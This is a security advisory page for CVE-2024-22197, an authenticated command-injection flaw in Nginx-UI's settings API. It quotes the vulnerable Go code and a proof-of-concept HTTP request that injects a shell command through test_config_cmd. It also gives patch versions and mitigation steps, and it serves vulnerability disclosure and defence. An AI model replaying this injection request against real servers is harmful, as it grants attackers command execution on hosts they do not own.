NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2024-22197 — Nginx-UI

HIGHFix: 0xJacky/nginx-ui@827e76c

CVE-2024-22197 is a high-severity (CVSS 7.7) CWE-77 vulnerability in github.com/0xJacky/Nginx-UI. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/0xJacky/Nginx-UI — see the affected versions and patch details below.

Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Also known asGHSA-pxmr-q2x3-9x9mGO-2024-2464
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-22197.

EPSS Exploitation Probability

via FIRST.org ↗
1.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs75th percentile — riskier than 75% of all scored CVEsHighest risk
1.04%1.89%2.75%3.60%3.1%1.5%May 26Aug 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/0xJacky/Nginx-UI

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

  1. Login as a newly created user.
  2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
  1. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
  2. Verify that /tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/0xJacky/Nginx-UIall versions1.9.10-0.20231219184941-827e76c46e63go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20231219184941-827e76c46e63

Affected Products

1 product · 14 configurations
Application
nginx uinginxui
< 2.0.0
1 version
2.0.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20231219184941-827e76c46e63 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-22197 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`Sav
O3 Security · Impact-Aware SCA

Is CVE-2024-22197 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2024-22197: Nginx-UI RCE — Fix Available